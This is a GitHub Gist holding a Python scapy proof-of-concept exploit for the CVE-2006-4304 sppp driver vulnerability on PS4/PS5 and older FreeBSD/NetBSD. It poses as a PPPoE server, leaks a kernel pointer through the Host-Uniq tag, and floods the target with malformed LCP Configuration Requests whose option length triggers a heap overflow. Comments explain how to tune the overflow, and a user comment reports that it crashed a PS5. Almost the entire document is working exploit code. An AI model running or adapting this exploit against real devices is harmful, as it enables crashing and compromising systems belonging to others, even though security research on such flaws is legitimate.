Last active
August 9, 2024 11:33
-
-
Save iMrDJAi/847a4f2eeff9669657ffcdf85ac7a901 to your computer and use it in GitHub Desktop.
My implementation of a proof of concept for the `CVE-2006-4304` sppp driver vulnerability that affected PS4/PS5 and earlier versions of FreeBSD/NetBSD
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from scapy.all import sniff, sendp | |
from socket import * | |
import time | |
# Replace with your PS4/5's MAC address. | |
dst_mac=b'\xaa\xbb\xcc\xdd\xee\xff' | |
# Replacing source MAC address is not mandatory | |
src_mac= b'\xab\xcd\xef\xab\xcd\xef' | |
# Replace this with your computer's ethernet interface name | |
iface_name = 'Ethernet' | |
def send_frame(pay,interface = iface_name): | |
sendp(pay, iface=interface) | |
sessionid = None | |
host_uniq = None | |
identifier = None | |
magic_number = None | |
def send_pado(packet): | |
global sessionid # WTF Python? | |
global host_uniq | |
print('Received PADI, sending PADO...') | |
sessionid = int(packet['PPP over Ethernet Discovery'].sessionid) | |
tag_list = packet['PPP over Ethernet Discovery']['PPPoE Tag List'].tag_list | |
for tag in tag_list: | |
if (tag.tag_type == 259): # 'Host-Uniq'. This is a pointer leak (*if_softc) | |
# https://github.com/NetBSD/src/blob/eae03f4f40af97a8a77a79ae62ad7d29d1c9436e/sys/net/if.h#L239 | |
# https://github.com/NetBSD/src/blob/eae03f4f40af97a8a77a79ae62ad7d29d1c9436e/sys/net/if_pppoe.c#L1073 | |
host_uniq = tag.tag_value | |
print('sessionid: ', sessionid) | |
print('host_uniq: ', host_uniq) | |
pay = bytes([ | |
# Destination address | |
*dst_mac, | |
# Source address | |
*src_mac, | |
# Type: PPPoE Discovery (0x8863) | |
0x88, 0x63, | |
# Version: 1 Type: 1 | |
0x11, | |
# Code: Active Discovery Offer (PADO) (0x07) | |
0x07, | |
# Session ID: (0x0000) | |
*sessionid.to_bytes(2, 'big'), | |
# Payload Length: 12 | |
0x00, 12, | |
# Payload (PPPoE Tag) | |
# Host-Uniq | |
0x01, 0x03, | |
# Length: 8 | |
*len(host_uniq).to_bytes(2, 'big'), | |
# Example: 00dca213c793ffff (0xffff93c713a2dc00) | |
*host_uniq | |
]) | |
send_frame(pay) | |
def send_pads(_packet): | |
global sessionid | |
print('Received PADR, sending PADS...') | |
# **VERY IMPORTANT** Increment sessionid by 1 | |
sessionid += 1 | |
pay = bytes([ | |
# Destination address | |
*dst_mac, | |
# Source address | |
*src_mac, | |
# Type: PPPoE Discovery (0x8863) | |
0x88, 0x63, | |
# Version: 1 Type: 1 | |
0x11, | |
# Code: Active Discovery Session-confirmation (PADS) (0x65) | |
0x65, | |
# Session ID: (0x0001) | |
*sessionid.to_bytes(2, 'big'), | |
# Payload Length: 12 | |
0x00, 12, | |
# Payload (PPPoE Tag) | |
# Host-Uniq | |
0x01, 0x03, | |
# Length: 8 | |
*len(host_uniq).to_bytes(2, 'big'), | |
# Example: 00dca213c793ffff (0xffff93c713a2dc00) | |
*host_uniq | |
]) | |
send_frame(pay) | |
def send_lcp_flood(packet): | |
global identifier | |
global magic_number | |
print('Received RCR, we may ignore.') | |
identifier = int(packet['PPP Link Control Protocol'].id) | |
lcp_options = packet['PPP Link Control Protocol'].options | |
for option in lcp_options: | |
if option.type == 5: # Magic-number | |
magic_number = int(option.magic_number) | |
# Those are used to send back Configuration Ack packets, we're not doing that in this context | |
print('identifier: ', identifier) | |
print('magic_number: ', magic_number) | |
print('Sending RCR packets... ๐๐') | |
n = 1 | |
# Flood! | |
while True: | |
if n > 0xff: n = 1 | |
pay = bytes([ | |
# Destination address | |
*dst_mac, | |
# Source address | |
*src_mac, | |
# Type: PPPoE Session (0x8864) | |
0x88, 0x64, | |
# Version: 1 Type: 1 | |
0x11, | |
# Code: Session Data (0x00) | |
0x00, | |
# Session ID: (0x0000) | |
*sessionid.to_bytes(2, 'big'), | |
# Payload Length: 2 + 7 = 9 | |
0x00, 9, | |
# Protocol: Link Control Protocol (0xc021) | |
0xc0, 0x21, | |
# PPP Link Control Protocol (LCP) | |
# Code: Configuration Request (RCR) (0X01) | |
0x01, | |
# Identifier | |
n, | |
# Length: 4 + 3 = 7 | |
0x00, 7, # This is malloc buffer size. Tweeking it allows us moving to diffrent malloc zone | |
# https://github.com/freebsd/freebsd-src/blob/59bc2f095289a10b8cfa55cbb2b45c3bd6c2d4ae/sys/net/if_spppsubr.c#L2310 | |
# https://github.com/freebsd/freebsd-src/blob/783d3ff6d7fae619db8a7990b8a6387de0c677b5/sys/kern/kern_malloc.c#L166 | |
# LCP option: | |
0x40, # Type: Invalid/bogus | |
# 0x03, # Length: 2 + 1 = 0x03 to leak | |
0xff # 0xff to overflow | |
# 0x1337 # Normally there is a value here | |
]) | |
pay += (b'startsHereOwO' + bytes([n])) * 100 | |
time.sleep(0.25) ### | |
send_frame(pay) | |
n+=1 | |
if __name__ == '__main__': | |
print('Listening for Active Discovery Initiation (PADI) (0x09)') | |
sniff(prn=send_pado,iface=iface_name,filter='pppoed',count=1) | |
print('Listening for Active Discovery Request (PADR) (0x19)') | |
sniff(prn=send_pads,iface=iface_name,filter='pppoed',count=1) | |
print('Listening for Configuration Request (RCR) (0X01)') | |
sniff(prn=send_lcp_flood,iface=iface_name,filter='pppoes',count=1) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
works for me, it crashed my ps5 on FW 23.02.08.20.02.06-00.00.00.0.1